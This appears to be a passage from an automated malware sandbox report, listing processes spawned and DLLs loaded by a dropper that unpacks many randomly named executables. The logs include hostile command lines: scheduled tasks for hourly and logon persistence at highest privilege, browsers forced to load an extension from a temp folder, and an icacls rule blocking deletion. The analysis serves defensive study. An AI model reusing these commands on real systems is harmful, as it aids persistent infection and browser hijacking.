Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Process created: C:\Users\user\AppData\Local\Temp\katC73D.tmp C:\Users\user\AppData\Local\Temp\katC73D.tmp
Source: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp "C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp" /SL5="$40382,5476278,54272,C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe"
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process created: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe .\Install.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process created: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe "C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSC067.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe .\Install.exe /ifrdidZGrX "525403" /S
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 3228
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: gpedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: dssec.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: dsuiext.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Section loaded: amsi.dll	Jump to behavior
